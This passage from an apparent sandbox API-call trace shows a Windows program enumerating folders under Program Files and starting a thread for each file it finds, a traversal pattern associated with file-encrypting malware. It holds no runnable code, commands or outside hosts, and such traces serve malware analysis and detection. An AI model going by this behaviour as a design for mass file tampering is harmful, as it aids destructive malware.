lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0048.428] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0048.428] wcscmp (_String1="Resource", _String2=".") returned 1 [0048.428] wcscmp (_String1="Resource", _String2="..") returned 1 [0048.428] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x4216c8 [0048.428] wcscpy (in: _Dest=0x4216c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.428] wcscat (in: _Dest=0x4216c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.428] wcscat (in: _Dest=0x4216c8, _Source="Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0048.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4216c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0048.758] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0048.758] wcscmp (_String1="Setup Files", _String2=".") returned 1 [0048.758] wcscmp (_String1="Setup Files", _String2="..") returned 1 [0048.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e46340 [0048.759] wcscpy (in: _Dest=0x5e46340, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.759] wcscat (in: _Dest=0x5e46340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.759] wcscat (in: _Dest=0x5e46340, _Source="Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0049.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e46340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0049.024] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0049.024] wcscmp (_String1="Vigtigt.htm", _String2=".") returned 1 [0049.024] wcscmp (_String1="Vigtigt.htm", _String2="..") returned 1 [0049.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e45e90 [0049.024] wcscpy (in: _Dest=0x5e45e90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0049.024] wcscat (in: _Dest=0x5e45e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0049.024] wcscat (in: _Dest=0x5e45e90, _Source="Vigtigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0049.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e45e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0049.025] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0049.025] wcscmp (_String1="Viktig.htm", _String2=".") returned 1 [0049.025] wcscmp (_String1="Viktig.htm", _String2="..") returned 1 [0049.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421428 [0049.026] wcscpy (in: _Dest=0x421428, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0049.026] wcscat (in: _Dest=0x421428, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0049.026] wcscat (in: _Dest=0x421428, _Source="Viktig.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0049.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0049.027] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0049.027] wcscmp (_String1="Viktigt.htm", _String2=".") returned 1 [0049.027] wcscmp (_String1="Viktigt.htm", _String2="..") returned 1 [0049.027] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e464a8 [0049.027] wcscpy (in: _Dest=0x5e464a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0049.027] wcscat (in: _Dest=0x5e464a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0049.027] wcscat (in: _Dest=0x5e464a8, _Source="Viktigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0049.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e464a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0049.028] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0049.855] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0051.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424f80) returned 1 [0051.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a310) returned 1 [0051.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446420) returned 1 Thread: id = 127 os_tid = 0xbfc [0046.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a370 [0046.009] wcscpy (in: _Dest=0x44a370, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0046.009] wcscat (in: _Dest=0x44a370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0046.009] wcscat (in: _Dest=0x44a370, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\*" [0046.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4251e8 [0046.009] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.009] wcscmp (_String1=".", _String2=".") returned 0 [0046.010] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.010] wcscmp (_String1="..", _String2=".") returned 1 [0046.010] wcscmp (_String1="..", _String2="..") returned 0 [0046.010] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0046.010] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0046.010] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0046.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420e08 [0046.010] wcscpy (in: _Dest=0x420e08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0046.010] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0046.010] wcscat (in: _Dest=0x420e08, _Source="Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0046.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0046.011] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0046.011] wcscmp (_String1="ARM", _String2=".") returned 1 [0046.011] wcscmp (_String1="ARM", _String2="..") returned 1 [0046.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445c40 [0046.011] wcscpy (in: _Dest=0x445c40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0046.011] wcscat (in: _Dest=0x445c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0046.011] wcscat (in: _Dest=0x445c40, _Source="ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0046.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0046.012] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0046.012] wcscmp (_String1="HelpCfg", _String2=".") returned 1 [0046.012] wcscmp (_String1="HelpCfg", _String2="..") returned 1 [0046.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420e78 [0046.012] wcscpy (in: _Dest=0x420e78, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0046.012] wcscat (in: _Dest=0x420e78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0046.012] wcscat (in: _Dest=0x420e78, _Source="HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0046.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0046.013] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0046.013] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4251e8) returned 1 [0046.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a370) returned 1 [0046.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449da8) returned 1 Thread: id = 128 os_tid = 0x41c [0046.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a370 [0046.014] wcscpy (in: _Dest=0x44a370, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0046.014] wcscat (in: _Dest=0x44a370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0046.014] wcscat (in: _Dest=0x44a370, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\*" [0046.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4251e8 [0046.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.015] wcscmp (_String1=".", _String2=".") returned 0 [0046.015] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.015] wcscmp (_String1="..", _String2=".") returned 1 [0046.015] wcscmp (_String1="..", _String2="..") returned 0 [0046.015] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0046.015] wcscmp (_String1="Java Update", _String2=".") returned 1 [0046.015] wcscmp (_String1="Java Update", _String2="..") returned 1 [0046.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418aa0 [0046.015] wcscpy (in: _Dest=0x418aa0, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0046.015] wcscat (in: _Dest=0x418aa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0046.015] wcscat (in: _Dest=0x418aa0, _Source="Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0046.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0046.016] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0046.016] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4251e8) returned 1 [0046.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a370) returned 1 [0046.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449e08) returned 1 Thread: id = 129 os_tid = 0x56c [0046.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x445ca8 [0046.017] wcscpy (in: _Dest=0x445ca8, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0046.017] wcscat (in: _Dest=0x445ca8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0046.017] wcscat (in: _Dest=0x445ca8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\*") returned="C:\\Program Files (x86)\\Common Files\\Services\\*" [0046.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4251e8 [0046.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404e0 [0046.770] wcscmp (_String1=".", _String2=".") returned 0 [0046.770] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.770] wcscmp (_String1="..", _String2=".") returned 1 [0046.770] wcscmp (_String1="..", _String2="..") returned 0 [0046.770] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0046.770] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0046.770] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0046.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400698 [0046.771] wcscpy (in: _Dest=0x400698, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0046.771] wcscat (in: _Dest=0x400698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0046.771] wcscat (in: _Dest=0x400698, _Source="verisign.bmp" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0048.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0048.891] FindNextFileW (in: hFindFile=0x4404e0, lpFindFileData=0x4251e8 | out: lpFindFileData=0x4251e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0048.891] FindClose (in: hFindFile=0x4404e0 | out: hFindFile=0x4404e0) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4251e8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445ca8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449e68) returned 1 Thread: id = 130 os_tid = 0x4f0 [0046.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420ee8 [0046.018] wcscpy (in: _Dest=0x420ee8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0046.018] wcscat (in: _Dest=0x420ee8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0046.018] wcscat (in: _Dest=0x420ee8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0046.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425450 [0046.018] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common 